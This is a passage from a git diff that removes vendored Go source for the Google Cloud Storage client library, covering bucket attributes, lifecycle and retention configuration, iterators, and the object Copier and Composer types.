Pays buckets must provide - // a user project (see BucketHandle.UserProject), which will be billed - // for the operations. - RequesterPays bool - - // Lifecycle is the lifecycle configuration for objects in the bucket. - Lifecycle Lifecycle - - // Retention policy enforces a minimum retention time for all objects - // contained in the bucket. A RetentionPolicy of nil implies the bucket - // has no minimum data retention. - // - // This feature is in private alpha release. It is not currently available to - // most customers. It might be changed in backwards-incompatible ways and is not - // subject to any SLA or deprecation policy. - RetentionPolicy *RetentionPolicy - - // The bucket's Cross-Origin Resource Sharing (CORS) configuration. - CORS []CORS - - // The encryption configuration used by default for newly inserted objects. - Encryption *BucketEncryption - - // The logging configuration. - Logging *BucketLogging - - // The website configuration. - Website *BucketWebsite - - // Etag is the HTTP/1.1 Entity tag for the bucket. - // This field is read-only. - Etag string - - // LocationType describes how data is stored and replicated. - // Typical values are "multi-region", "region" and "dual-region". - // This field is read-only. - LocationType string -} - -// BucketPolicyOnly configures access checks to use only bucket-level IAM -// policies. -type BucketPolicyOnly struct { - // Enabled specifies whether access checks use only bucket-level IAM - // policies. Enabled may be disabled until the locked time. - Enabled bool - // LockedTime specifies the deadline for changing Enabled from true to - // false. - LockedTime time.Time -} - -// Lifecycle is the lifecycle configuration for objects in the bucket. -type Lifecycle struct { - Rules []LifecycleRule -} - -// RetentionPolicy enforces a minimum retention time for all objects -// contained in the bucket. -// -// Any attempt to overwrite or delete objects younger than the retention -// period will result in an error. An unlocked retention policy can be -// modified or removed from the bucket via the Update method. A -// locked retention policy cannot be removed or shortened in duration -// for the lifetime of the bucket. -// -// This feature is in private alpha release. It is not currently available to -// most customers. It might be changed in backwards-incompatible ways and is not -// subject to any SLA or deprecation policy. -type RetentionPolicy struct { - // RetentionPeriod specifies the duration that objects need to be - // retained. Retention duration must be greater than zero and less than - // 100 years. Note that enforcement of retention periods less than a day - // is not guaranteed. Such periods should only be used for testing - // purposes. - RetentionPeriod time.Duration - - // EffectiveTime is the time from which the policy was enforced and - // effective. This field is read-only. - EffectiveTime time.Time - - // IsLocked describes whether the bucket is locked. Once locked, an - // object retention policy cannot be modified. - // This field is read-only. - IsLocked bool -} - -const ( - // RFC3339 date with only the date segment, used for CreatedBefore in LifecycleRule. - rfc3339Date = "2006-01-02" - - // DeleteAction is a lifecycle action that deletes a live and/or archived - // objects. Takes precedence over SetStorageClass actions. - DeleteAction = "Delete" - - // SetStorageClassAction changes the storage class of live and/or archived - // objects. - SetStorageClassAction = "SetStorageClass" -) - -// LifecycleRule is a lifecycle configuration rule. -// -// When all the configured conditions are met by an object in the bucket, the -// configured action will automatically be taken on that object. -type LifecycleRule struct { - // Action is the action to take when all of the associated conditions are - // met. - Action LifecycleAction - - // Condition is the set of conditions that must be met for the associated - // action to be taken. - Condition LifecycleCondition -} - -// LifecycleAction is a lifecycle configuration action. -type LifecycleAction struct { - // Type is the type of action to take on matching objects. - // - // Acceptable values are "Delete" to delete matching objects and - // "SetStorageClass" to set the storage class defined in StorageClass on - // matching objects. - Type string - - // StorageClass is the storage class to set on matching objects if the Action - // is "SetStorageClass". - StorageClass string -} - -// Liveness specifies whether the object is live or not. -type Liveness int - -const ( - // LiveAndArchived includes both live and archived objects. - LiveAndArchived Liveness = iota - // Live specifies that the object is still live. - Live - // Archived specifies that the object is archived. - Archived -) - -// LifecycleCondition is a set of conditions used to match objects and take an -// action automatically. -// -// All configured conditions must be met for the associated action to be taken. -type LifecycleCondition struct { - // AgeInDays is the age of the object in days. - AgeInDays int64 - - // CreatedBefore is the time the object was created. - // - // This condition is satisfied when an object is created before midnight of - // the specified date in UTC. - CreatedBefore time.Time - - // Liveness specifies the object's liveness. Relevant only for versioned objects - Liveness Liveness - - // MatchesStorageClasses is the condition matching the object's storage - // class. - // - // Values include "MULTI_REGIONAL", "REGIONAL", "NEARLINE", "COLDLINE", - // "STANDARD", and "DURABLE_REDUCED_AVAILABILITY". - MatchesStorageClasses []string - - // NumNewerVersions is the condition matching objects with a number of newer versions. - // - // If the value is N, this condition is satisfied when there are at least N - // versions (including the live version) newer than this version of the - // object. - NumNewerVersions int64 -} - -// BucketLogging holds the bucket's logging configuration, which defines the -// destination bucket and optional name prefix for the current bucket's -// logs. -type BucketLogging struct { - // The destination bucket where the current bucket's logs - // should be placed. - LogBucket string - - // A prefix for log object names. - LogObjectPrefix string -} - -// BucketWebsite holds the bucket's website configuration, controlling how the -// service behaves when accessing bucket contents as a web site. See -// https://cloud.google.com/storage/docs/static-website for more information. -type BucketWebsite struct { - // If the requested object path is missing, the service will ensure the path has - // a trailing '/', append this suffix, and attempt to retrieve the resulting - // object. This allows the creation of index.html objects to represent directory - // pages. - MainPageSuffix string - - // If the requested object path is missing, and any mainPageSuffix object is - // missing, if applicable, the service will return the named object from this - // bucket as the content for a 404 Not Found result. - NotFoundPage string -} - -func newBucket(b *raw.Bucket) (*BucketAttrs, error) { - if b == nil { - return nil, nil - } - rp, err := toRetentionPolicy(b.RetentionPolicy) - if err != nil { - return nil, err - } - return &BucketAttrs{ - Name: b.Name, - Location: b.Location, - MetaGeneration: b.Metageneration, - DefaultEventBasedHold: b.DefaultEventBasedHold, - StorageClass: b.StorageClass, - Created: convertTime(b.TimeCreated), - VersioningEnabled: b.Versioning != nil && b.Versioning.Enabled, - ACL: toBucketACLRules(b.Acl), - DefaultObjectACL: toObjectACLRules(b.DefaultObjectAcl), - Labels: b.Labels, - RequesterPays: b.Billing != nil && b.Billing.RequesterPays, - Lifecycle: toLifecycle(b.Lifecycle), - RetentionPolicy: rp, - CORS: toCORS(b.Cors), - Encryption: toBucketEncryption(b.Encryption), - Logging: toBucketLogging(b.Logging), - Website: toBucketWebsite(b.Website), - BucketPolicyOnly: toBucketPolicyOnly(b.IamConfiguration), - Etag: b.Etag, - LocationType: b.LocationType, - }, nil -} - -// toRawBucket copies the editable attribute from b to the raw library's Bucket type. -func (b *BucketAttrs) toRawBucket() *raw.Bucket { - // Copy label map. - var labels map[string]string - if len(b.Labels) > 0 { - labels = make(map[string]string, len(b.Labels)) - for k, v := range b.Labels { - labels[k] = v - } - } - // Ignore VersioningEnabled if it is false. This is OK because - // we only call this method when creating a bucket, and by default - // new buckets have versioning off. - var v *raw.BucketVersioning - if b.VersioningEnabled { - v = &raw.BucketVersioning{Enabled: true} - } - var bb *raw.BucketBilling - if b.RequesterPays { - bb = &raw.BucketBilling{RequesterPays: true} - } - var bktIAM *raw.BucketIamConfiguration - if b.BucketPolicyOnly.Enabled { - bktIAM = &raw.BucketIamConfiguration{ - BucketPolicyOnly: &raw.BucketIamConfigurationBucketPolicyOnly{ - Enabled: true, - }, - } - } - return &raw.Bucket{ - Name: b.Name, - Location: b.Location, - StorageClass: b.StorageClass, - Acl: toRawBucketACL(b.ACL), - DefaultObjectAcl: toRawObjectACL(b.DefaultObjectACL), - Versioning: v, - Labels: labels, - Billing: bb, - Lifecycle: toRawLifecycle(b.Lifecycle), - RetentionPolicy: b.RetentionPolicy.toRawRetentionPolicy(), - Cors: toRawCORS(b.CORS), - Encryption: b.Encryption.toRawBucketEncryption(), - Logging: b.Logging.toRawBucketLogging(), - Website: b.Website.toRawBucketWebsite(), - IamConfiguration: bktIAM, - } -} - -// CORS is the bucket's Cross-Origin Resource Sharing (CORS) configuration. -type CORS struct { - // MaxAge is the value to return in the Access-Control-Max-Age - // header used in preflight responses. - MaxAge time.Duration - - // Methods is the list of HTTP methods on which to include CORS response - // headers, (GET, OPTIONS, POST, etc) Note: "*" is permitted in the list - // of methods, and means "any method". - Methods []string - - // Origins is the list of Origins eligible to receive CORS response - // headers. Note: "*" is permitted in the list of origins, and means - // "any Origin". - Origins []string - - // ResponseHeaders is the list of HTTP headers other than the simple - // response headers to give permission for the user-agent to share - // across domains. - ResponseHeaders []string -} - -// BucketEncryption is a bucket's encryption configuration. -type BucketEncryption struct { - // A Cloud KMS key name, in the form - // projects/P/locations/L/keyRings/R/cryptoKeys/K, that will be used to encrypt - // objects inserted into this bucket, if no encryption method is specified. - // The key's location must be the same as the bucket's. - DefaultKMSKeyName string -} - -// BucketAttrsToUpdate define the attributes to update during an Update call. -type BucketAttrsToUpdate struct { - // If set, updates whether the bucket uses versioning. - VersioningEnabled optional.Bool - - // If set, updates whether the bucket is a Requester Pays bucket. - RequesterPays optional.Bool - - // DefaultEventBasedHold is the default value for event-based hold on - // newly created objects in this bucket. - DefaultEventBasedHold optional.Bool - - // BucketPolicyOnly configures access checks to use only bucket-level IAM - // policies. - BucketPolicyOnly *BucketPolicyOnly - - // If set, updates the retention policy of the bucket. Using - // RetentionPolicy.RetentionPeriod = 0 will delete the existing policy. - // - // This feature is in private alpha release. It is not currently available to - // most customers. It might be changed in backwards-incompatible ways and is not - // subject to any SLA or deprecation policy. - RetentionPolicy *RetentionPolicy - - // If set, replaces the CORS configuration with a new configuration. - // An empty (rather than nil) slice causes all CORS policies to be removed. - CORS []CORS - - // If set, replaces the encryption configuration of the bucket. Using - // BucketEncryption.DefaultKMSKeyName = "" will delete the existing - // configuration. - Encryption *BucketEncryption - - // If set, replaces the lifecycle configuration of the bucket. - Lifecycle *Lifecycle - - // If set, replaces the logging configuration of the bucket. - Logging *BucketLogging - - // If set, replaces the website configuration of the bucket. - Website *BucketWebsite - - // If not empty, applies a predefined set of access controls. - // See https://cloud.google.com/storage/docs/json_api/v1/buckets/patch. - PredefinedACL string - - // If not empty, applies a predefined set of default object access controls. - // See https://cloud.google.com/storage/docs/json_api/v1/buckets/patch. - PredefinedDefaultObjectACL string - - setLabels map[string]string - deleteLabels map[string]bool -} - -// SetLabel causes a label to be added or modified when ua is used -// in a call to Bucket.Update. -func (ua *BucketAttrsToUpdate) SetLabel(name, value string) { - if ua.setLabels == nil { - ua.setLabels = map[string]string{} - } - ua.setLabels[name] = value -} - -// DeleteLabel causes a label to be deleted when ua is used in a -// call to Bucket.Update. -func (ua *BucketAttrsToUpdate) DeleteLabel(name string) { - if ua.deleteLabels == nil { - ua.deleteLabels = map[string]bool{} - } - ua.deleteLabels[name] = true -} - -func (ua *BucketAttrsToUpdate) toRawBucket() *raw.Bucket { - rb := &raw.Bucket{} - if ua.CORS != nil { - rb.Cors = toRawCORS(ua.CORS) - rb.ForceSendFields = append(rb.ForceSendFields, "Cors") - } - if ua.DefaultEventBasedHold != nil { - rb.DefaultEventBasedHold = optional.ToBool(ua.DefaultEventBasedHold) - rb.ForceSendFields = append(rb.ForceSendFields, "DefaultEventBasedHold") - } - if ua.RetentionPolicy != nil { - if ua.RetentionPolicy.RetentionPeriod == 0 { - rb.NullFields = append(rb.NullFields, "RetentionPolicy") - rb.RetentionPolicy = nil - } else { - rb.RetentionPolicy = ua.RetentionPolicy.toRawRetentionPolicy() - } - } - if ua.VersioningEnabled != nil { - rb.Versioning = &raw.BucketVersioning{ - Enabled: optional.ToBool(ua.VersioningEnabled), - ForceSendFields: []string{"Enabled"}, - } - } - if ua.RequesterPays != nil { - rb.Billing = &raw.BucketBilling{ - RequesterPays: optional.ToBool(ua.RequesterPays), - ForceSendFields: []string{"RequesterPays"}, - } - } - if ua.BucketPolicyOnly != nil { - rb.IamConfiguration = &raw.BucketIamConfiguration{ - BucketPolicyOnly: &raw.BucketIamConfigurationBucketPolicyOnly{ - Enabled: ua.BucketPolicyOnly.Enabled, - }, - } - } - if ua.Encryption != nil { - if ua.Encryption.DefaultKMSKeyName == "" { - rb.NullFields = append(rb.NullFields, "Encryption") - rb.Encryption = nil - } else { - rb.Encryption = ua.Encryption.toRawBucketEncryption() - } - } - if ua.Lifecycle != nil { - rb.Lifecycle = toRawLifecycle(*ua.Lifecycle) - } - if ua.Logging != nil { - if *ua.Logging == (BucketLogging{}) { - rb.NullFields = append(rb.NullFields, "Logging") - rb.Logging = nil - } else { - rb.Logging = ua.Logging.toRawBucketLogging() - } - } - if ua.Website != nil { - if *ua.Website == (BucketWebsite{}) { - rb.NullFields = append(rb.NullFields, "Website") - rb.Website = nil - } else { - rb.Website = ua.Website.toRawBucketWebsite() - } - } - if ua.PredefinedACL != "" { - // Clear ACL or the call will fail. - rb.Acl = nil - rb.ForceSendFields = append(rb.ForceSendFields, "Acl") - } - if ua.PredefinedDefaultObjectACL != "" { - // Clear ACLs or the call will fail. - rb.DefaultObjectAcl = nil - rb.ForceSendFields = append(rb.ForceSendFields, "DefaultObjectAcl") - } - if ua.setLabels != nil || ua.deleteLabels != nil { - rb.Labels = map[string]string{} - for k, v := range ua.setLabels { - rb.Labels[k] = v - } - if len(rb.Labels) == 0 && len(ua.deleteLabels) > 0 { - rb.ForceSendFields = append(rb.ForceSendFields, "Labels") - } - for l := range ua.deleteLabels { - rb.NullFields = append(rb.NullFields, "Labels."+l) - } - } - return rb -} - -// If returns a new BucketHandle that applies a set of preconditions. -// Preconditions already set on the BucketHandle are ignored. -// Operations on the new handle will return an error if the preconditions are not -// satisfied. The only valid preconditions for buckets are MetagenerationMatch -// and MetagenerationNotMatch. -func (b *BucketHandle) If(conds BucketConditions) *BucketHandle { - b2 := *b - b2.conds = &conds - return &b2 -} - -// BucketConditions constrain bucket methods to act on specific metagenerations. -// -// The zero value is an empty set of constraints. -type BucketConditions struct { - // MetagenerationMatch specifies that the bucket must have the given - // metageneration for the operation to occur. - // If MetagenerationMatch is zero, it has no effect. - MetagenerationMatch int64 - - // MetagenerationNotMatch specifies that the bucket must not have the given - // metageneration for the operation to occur. - // If MetagenerationNotMatch is zero, it has no effect. - MetagenerationNotMatch int64 -} - -func (c *BucketConditions) validate(method string) error { - if *c == (BucketConditions{}) { - return fmt.Errorf("storage: %s: empty conditions", method) - } - if c.MetagenerationMatch != 0 && c.MetagenerationNotMatch != 0 { - return fmt.Errorf("storage: %s: multiple conditions specified for metageneration", method) - } - return nil -} - -// UserProject returns a new BucketHandle that passes the project ID as the user -// project for all subsequent calls. Calls with a user project will be billed to that -// project rather than to the bucket's owning project. -// -// A user project is required for all operations on Requester Pays buckets. -func (b *BucketHandle) UserProject(projectID string) *BucketHandle { - b2 := *b - b2.userProject = projectID - b2.acl.userProject = projectID - b2.defaultObjectACL.userProject = projectID - return &b2 -} - -// LockRetentionPolicy locks a bucket's retention policy until a previously-configured -// RetentionPeriod past the EffectiveTime. Note that if RetentionPeriod is set to less -// than a day, the retention policy is treated as a development configuration and locking -// will have no effect. The BucketHandle must have a metageneration condition that -// matches the bucket's metageneration. See BucketHandle.If. -// -// This feature is in private alpha release. It is not currently available to -// most customers. It might be changed in backwards-incompatible ways and is not -// subject to any SLA or deprecation policy. -func (b *BucketHandle) LockRetentionPolicy(ctx context.Context) error { - var metageneration int64 - if b.conds != nil { - metageneration = b.conds.MetagenerationMatch - } - req := b.c.raw.Buckets.LockRetentionPolicy(b.name, metageneration) - _, err := req.Context(ctx).Do() - return err -} - -// applyBucketConds modifies the provided call using the conditions in conds. -// call is something that quacks like a *raw.WhateverCall. -func applyBucketConds(method string, conds *BucketConditions, call interface{}) error { - if conds == nil { - return nil - } - if err := conds.validate(method); err != nil { - return err - } - cval := reflect.ValueOf(call) - switch { - case conds.MetagenerationMatch != 0: - if !setConditionField(cval, "IfMetagenerationMatch", conds.MetagenerationMatch) { - return fmt.Errorf("storage: %s: ifMetagenerationMatch not supported", method) - } - case conds.MetagenerationNotMatch != 0: - if !setConditionField(cval, "IfMetagenerationNotMatch", conds.MetagenerationNotMatch) { - return fmt.Errorf("storage: %s: ifMetagenerationNotMatch not supported", method) - } - } - return nil -} - -func (rp *RetentionPolicy) toRawRetentionPolicy() *raw.BucketRetentionPolicy { - if rp == nil { - return nil - } - return &raw.BucketRetentionPolicy{ - RetentionPeriod: int64(rp.RetentionPeriod / time.Second), - } -} - -func toRetentionPolicy(rp *raw.BucketRetentionPolicy) (*RetentionPolicy, error) { - if rp == nil { - return nil, nil - } - t, err := time.Parse(time.RFC3339, rp.EffectiveTime) - if err != nil { - return nil, err - } - return &RetentionPolicy{ - RetentionPeriod: time.Duration(rp.RetentionPeriod) * time.Second, - EffectiveTime: t, - IsLocked: rp.IsLocked, - }, nil -} - -func toRawCORS(c []CORS) []*raw.BucketCors { - var out []*raw.BucketCors - for _, v := range c { - out = append(out, &raw.BucketCors{ - MaxAgeSeconds: int64(v.MaxAge / time.Second), - Method: v.Methods, - Origin: v.Origins, - ResponseHeader: v.ResponseHeaders, - }) - } - return out -} - -func toCORS(rc []*raw.BucketCors) []CORS { - var out []CORS - for _, v := range rc { - out = append(out, CORS{ - MaxAge: time.Duration(v.MaxAgeSeconds) * time.Second, - Methods: v.Method, - Origins: v.Origin, - ResponseHeaders: v.ResponseHeader, - }) - } - return out -} - -func toRawLifecycle(l Lifecycle) *raw.BucketLifecycle { - var rl raw.BucketLifecycle - if len(l.Rules) == 0 { - return nil - } - for _, r := range l.Rules { - rr := &raw.BucketLifecycleRule{ - Action: &raw.BucketLifecycleRuleAction{ - Type: r.Action.Type, - StorageClass: r.Action.StorageClass, - }, - Condition: &raw.BucketLifecycleRuleCondition{ - Age: r.Condition.AgeInDays, - MatchesStorageClass: r.Condition.MatchesStorageClasses, - NumNewerVersions: r.Condition.NumNewerVersions, - }, - } - - switch r.Condition.Liveness { - case LiveAndArchived: - rr.Condition.IsLive = nil - case Live: - rr.Condition.IsLive = googleapi.Bool(true) - case Archived: - rr.Condition.IsLive = googleapi.Bool(false) - } - - if !r.Condition.CreatedBefore.IsZero() { - rr.Condition.CreatedBefore = r.Condition.CreatedBefore.Format(rfc3339Date) - } - rl.Rule = append(rl.Rule, rr) - } - return &rl -} - -func toLifecycle(rl *raw.BucketLifecycle) Lifecycle { - var l Lifecycle - if rl == nil { - return l - } - for _, rr := range rl.Rule { - r := LifecycleRule{ - Action: LifecycleAction{ - Type: rr.Action.Type, - StorageClass: rr.Action.StorageClass, - }, - Condition: LifecycleCondition{ - AgeInDays: rr.Condition.Age, - MatchesStorageClasses: rr.Condition.MatchesStorageClass, - NumNewerVersions: rr.Condition.NumNewerVersions, - }, - } - - switch { - case rr.Condition.IsLive == nil: - r.Condition.Liveness = LiveAndArchived - case *rr.Condition.IsLive == true: - r.Condition.Liveness = Live - case *rr.Condition.IsLive == false: - r.Condition.Liveness = Archived - } - - if rr.Condition.CreatedBefore != "" { - r.Condition.CreatedBefore, _ = time.Parse(rfc3339Date, rr.Condition.CreatedBefore) - } - l.Rules = append(l.Rules, r) - } - return l -} - -func (e *BucketEncryption) toRawBucketEncryption() *raw.BucketEncryption { - if e == nil { - return nil - } - return &raw.BucketEncryption{ - DefaultKmsKeyName: e.DefaultKMSKeyName, - } -} - -func toBucketEncryption(e *raw.BucketEncryption) *BucketEncryption { - if e == nil { - return nil - } - return &BucketEncryption{DefaultKMSKeyName: e.DefaultKmsKeyName} -} - -func (b *BucketLogging) toRawBucketLogging() *raw.BucketLogging { - if b == nil { - return nil - } - return &raw.BucketLogging{ - LogBucket: b.LogBucket, - LogObjectPrefix: b.LogObjectPrefix, - } -} - -func toBucketLogging(b *raw.BucketLogging) *BucketLogging { - if b == nil { - return nil - } - return &BucketLogging{ - LogBucket: b.LogBucket, - LogObjectPrefix: b.LogObjectPrefix, - } -} - -func (w *BucketWebsite) toRawBucketWebsite() *raw.BucketWebsite { - if w == nil { - return nil - } - return &raw.BucketWebsite{ - MainPageSuffix: w.MainPageSuffix, - NotFoundPage: w.NotFoundPage, - } -} - -func toBucketWebsite(w *raw.BucketWebsite) *BucketWebsite { - if w == nil { - return nil - } - return &BucketWebsite{ - MainPageSuffix: w.MainPageSuffix, - NotFoundPage: w.NotFoundPage, - } -} - -func toBucketPolicyOnly(b *raw.BucketIamConfiguration) BucketPolicyOnly { - if b == nil || b.BucketPolicyOnly == nil || !b.BucketPolicyOnly.Enabled { - return BucketPolicyOnly{} - } - lt, err := time.Parse(time.RFC3339, b.BucketPolicyOnly.LockedTime) - if err != nil { - return BucketPolicyOnly{ - Enabled: true, - } - } - return BucketPolicyOnly{ - Enabled: true, - LockedTime: lt, - } -} - -// Objects returns an iterator over the objects in the bucket that match the Query q. -// If q is nil, no filtering is done. -func (b *BucketHandle) Objects(ctx context.Context, q *Query) *ObjectIterator { - it := &ObjectIterator{ - ctx: ctx, - bucket: b, - } - it.pageInfo, it.nextFunc = iterator.NewPageInfo( - it.fetch, - func() int { return len(it.items) }, - func() interface{} { b := it.items; it.items = nil; return b }) - if q != nil { - it.query = *q - } - return it -} - -// An ObjectIterator is an iterator over ObjectAttrs. -type ObjectIterator struct { - ctx context.Context - bucket *BucketHandle - query Query - pageInfo *iterator.PageInfo - nextFunc func() error - items []*ObjectAttrs -} - -// PageInfo supports pagination. See the google.golang.org/api/iterator package for details. -func (it *ObjectIterator) PageInfo() *iterator.PageInfo { return it.pageInfo } - -// Next returns the next result. Its second return value is iterator.Done if -// there are no more results. Once Next returns iterator.Done, all subsequent -// calls will return iterator.Done. -// -// If Query.Delimiter is non-empty, some of the ObjectAttrs returned by Next will -// have a non-empty Prefix field, and a zero value for all other fields. These -// represent prefixes. -func (it *ObjectIterator) Next() (*ObjectAttrs, error) { - if err := it.nextFunc(); err != nil { - return nil, err - } - item := it.items[0] - it.items = it.items[1:] - return item, nil -} - -func (it *ObjectIterator) fetch(pageSize int, pageToken string) (string, error) { - req := it.bucket.c.raw.Objects.List(it.bucket.name) - setClientHeader(req.Header()) - req.Projection("full") - req.Delimiter(it.query.Delimiter) - req.Prefix(it.query.Prefix) - req.Versions(it.query.Versions) - req.PageToken(pageToken) - if it.bucket.userProject != "" { - req.UserProject(it.bucket.userProject) - } - if pageSize > 0 { - req.MaxResults(int64(pageSize)) - } - var resp *raw.Objects - var err error - err = runWithRetry(it.ctx, func() error { - resp, err = req.Context(it.ctx).Do() - return err - }) - if err != nil { - if e, ok := err.(*googleapi.Error); ok && e.Code == http.StatusNotFound { - err = ErrBucketNotExist - } - return "", err - } - for _, item := range resp.Items { - it.items = append(it.items, newObject(item)) - } - for _, prefix := range resp.Prefixes { - it.items = append(it.items, &ObjectAttrs{Prefix: prefix}) - } - return resp.NextPageToken, nil -} - -// Buckets returns an iterator over the buckets in the project. You may -// optionally set the iterator's Prefix field to restrict the list to buckets -// whose names begin with the prefix. By default, all buckets in the project -// are returned. -func (c *Client) Buckets(ctx context.Context, projectID string) *BucketIterator { - it := &BucketIterator{ - ctx: ctx, - client: c, - projectID: projectID, - } - it.pageInfo, it.nextFunc = iterator.NewPageInfo( - it.fetch, - func() int { return len(it.buckets) }, - func() interface{} { b := it.buckets; it.buckets = nil; return b }) - return it -} - -// A BucketIterator is an iterator over BucketAttrs. -type BucketIterator struct { - // Prefix restricts the iterator to buckets whose names begin with it. - Prefix string - - ctx context.Context - client *Client - projectID string - buckets []*BucketAttrs - pageInfo *iterator.PageInfo - nextFunc func() error -} - -// Next returns the next result. Its second return value is iterator.Done if -// there are no more results. Once Next returns iterator.Done, all subsequent -// calls will return iterator.Done. -func (it *BucketIterator) Next() (*BucketAttrs, error) { - if err := it.nextFunc(); err != nil { - return nil, err - } - b := it.buckets[0] - it.buckets = it.buckets[1:] - return b, nil -} - -// PageInfo supports pagination. See the google.golang.org/api/iterator package for details. -func (it *BucketIterator) PageInfo() *iterator.PageInfo { return it.pageInfo } - -func (it *BucketIterator) fetch(pageSize int, pageToken string) (token string, err error) { - req := it.client.raw.Buckets.List(it.projectID) - setClientHeader(req.Header()) - req.Projection("full") - req.Prefix(it.Prefix) - req.PageToken(pageToken) - if pageSize > 0 { - req.MaxResults(int64(pageSize)) - } - var resp *raw.Buckets - err = runWithRetry(it.ctx, func() error { - resp, err = req.Context(it.ctx).Do() - return err - }) - if err != nil { - return "", err - } - for _, item := range resp.Items { - b, err := newBucket(item) - if err != nil { - return "", err - } - it.buckets = append(it.buckets, b) - } - return resp.NextPageToken, nil -} diff --git a/vendor/cloud.google.com/go/storage/copy.go b/vendor/cloud.google.com/go/storage/copy.go deleted file mode 100644 index 52162e72d1..0000000000 --- a/vendor/cloud.google.com/go/storage/copy.go +++ /dev/null @@ -1,228 +0,0 @@ -// Copyright 2016 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package storage - -import ( - "context" - "errors" - "fmt" - - "cloud.google.com/go/internal/trace" - raw "google.golang.org/api/storage/v1" -) - -// CopierFrom creates a Copier that can copy src to dst. -// You can immediately call Run on the returned Copier, or -// you can configure it first. -// -// For Requester Pays buckets, the user project of dst is billed, unless it is empty, -// in which case the user project of src is billed. -func (dst *ObjectHandle) CopierFrom(src *ObjectHandle) *Copier { - return &Copier{dst: dst, src: src} -} - -// A Copier copies a source object to a destination. -type Copier struct { - // ObjectAttrs are optional attributes to set on the destination object. - // Any attributes must be initialized before any calls on the Copier. Nil - // or zero-valued attributes are ignored. - ObjectAttrs - - // RewriteToken can be set before calling Run to resume a copy - // operation. After Run returns a non-nil error, RewriteToken will - // have been updated to contain the value needed to resume the copy. - RewriteToken string - - // ProgressFunc can be used to monitor the progress of a multi-RPC copy - // operation. If ProgressFunc is not nil and copying requires multiple - // calls to the underlying service (see - // https://cloud.google.com/storage/docs/json_api/v1/objects/rewrite), then - // ProgressFunc will be invoked after each call with the number of bytes of - // content copied so far and the total size in bytes of the source object. - // - // ProgressFunc is intended to make upload progress available to the - // application. For example, the implementation of ProgressFunc may update - // a progress bar in the application's UI, or log the result of - // float64(copiedBytes)/float64(totalBytes). - // - // ProgressFunc should return quickly without blocking. - ProgressFunc func(copiedBytes, totalBytes uint64) - - // The Cloud KMS key, in the form projects/P/locations/L/keyRings/R/cryptoKeys/K, - // that will be used to encrypt the object. Overrides the object's KMSKeyName, if - // any. - // - // Providing both a DestinationKMSKeyName and a customer-supplied encryption key - // (via ObjectHandle.Key) on the destination object will result in an error when - // Run is called. - DestinationKMSKeyName string - - dst, src *ObjectHandle -} - -// Run performs the copy. -func (c *Copier) Run(ctx context.Context) (attrs *ObjectAttrs, err error) { - ctx = trace.StartSpan(ctx, "cloud.google.com/go/storage.Copier.Run") - defer func() { trace.EndSpan(ctx, err) }() - - if err := c.src.validate(); err != nil { - return nil, err - } - if err := c.dst.validate(); err != nil { - return nil, err - } - if c.DestinationKMSKeyName != "" && c.dst.encryptionKey != nil { - return nil, errors.New("storage: cannot use DestinationKMSKeyName with a customer-supplied encryption key") - } - // Convert destination attributes to raw form, omitting the bucket. - // If the bucket is included but name or content-type aren't, the service - // returns a 400 with "Required" as the only message. Omitting the bucket - // does not cause any problems. - rawObject := c.ObjectAttrs.toRawObject("") - for { - res, err := c.callRewrite(ctx, rawObject) - if err != nil { - return nil, err - } - if c.ProgressFunc != nil { - c.ProgressFunc(uint64(res.TotalBytesRewritten), uint64(res.ObjectSize)) - } - if res.Done { // Finished successfully. - return newObject(res.Resource), nil - } - } -} - -func (c *Copier) callRewrite(ctx context.Context, rawObj *raw.Object) (*raw.RewriteResponse, error) { - call := c.dst.c.raw.Objects.Rewrite(c.src.bucket, c.src.object, c.dst.bucket, c.dst.object, rawObj) - - call.Context(ctx).Projection("full") - if c.RewriteToken != "" { - call.RewriteToken(c.RewriteToken) - } - if c.DestinationKMSKeyName != "" { - call.DestinationKmsKeyName(c.DestinationKMSKeyName) - } - if c.PredefinedACL != "" { - call.DestinationPredefinedAcl(c.PredefinedACL) - } - if err := applyConds("Copy destination", c.dst.gen, c.dst.conds, call); err != nil { - return nil, err - } - if c.dst.userProject != "" { - call.UserProject(c.dst.userProject) - } else if c.src.userProject != "" { - call.UserProject(c.src.userProject) - } - if err := applySourceConds(c.src.gen, c.src.conds, call); err != nil { - return nil, err - } - if err := setEncryptionHeaders(call.Header(), c.dst.encryptionKey, false); err != nil { - return nil, err - } - if err := setEncryptionHeaders(call.Header(), c.src.encryptionKey, true); err != nil { - return nil, err - } - var res *raw.RewriteResponse - var err error - setClientHeader(call.Header()) - err = runWithRetry(ctx, func() error { res, err = call.Do(); return err }) - if err != nil { - return nil, err - } - c.RewriteToken = res.RewriteToken - return res, nil -} - -// ComposerFrom creates a Composer that can compose srcs into dst. -// You can immediately call Run on the returned Composer, or you can -// configure it first. -// -// The encryption key for the destination object will be used to decrypt all -// source objects and encrypt the destination object. It is an error -// to specify an encryption key for any of the source objects. -func (dst *ObjectHandle) ComposerFrom(srcs ...*ObjectHandle) *Composer { - return &Composer{dst: dst, srcs: srcs} -} - -// A Composer composes source objects into a destination object. -// -// For Requester Pays buckets, the user project of dst is billed. -type Composer struct { - // ObjectAttrs are optional attributes to set on the destination object. - // Any attributes must be initialized before any calls on the Composer. Nil - // or zero-valued attributes are ignored. - ObjectAttrs - - dst *ObjectHandle - srcs []*ObjectHandle -} - -// Run performs the compose operation. -func (c *Composer) Run(ctx context.Context) (attrs *ObjectAttrs, err error) { - ctx = trace.StartSpan(ctx, "cloud.google.com/go/storage.Composer.Run") - defer func() { trace.EndSpan(ctx, err) }() - - if err := c.dst.validate(); err != nil { - return nil, err - } - if len(c.srcs) == 0 { - return nil, errors.New("storage: at least one source object must be specified") - } - - req := &raw.ComposeRequest{} - // Compose requires a non-empty Destination, so we always set it, - // even if the caller-provided ObjectAttrs is the zero value. - req.Destination = c.ObjectAttrs.toRawObject(c.dst.bucket) - for _, src := range c.srcs { - if err := src.validate(); err != nil { - return nil, err - } - if src.bucket != c.dst.bucket { - return nil, fmt.Errorf("storage: all source objects must be in bucket %q, found %q", c.dst.bucket, src.bucket) - } - if src.encryptionKey != nil { - return nil, fmt.Errorf("storage: compose source %s.%s must not have encryption key", src.bucket, src.object) - } - srcObj := &raw.ComposeRequestSourceObjects{ - Name: src.object, - 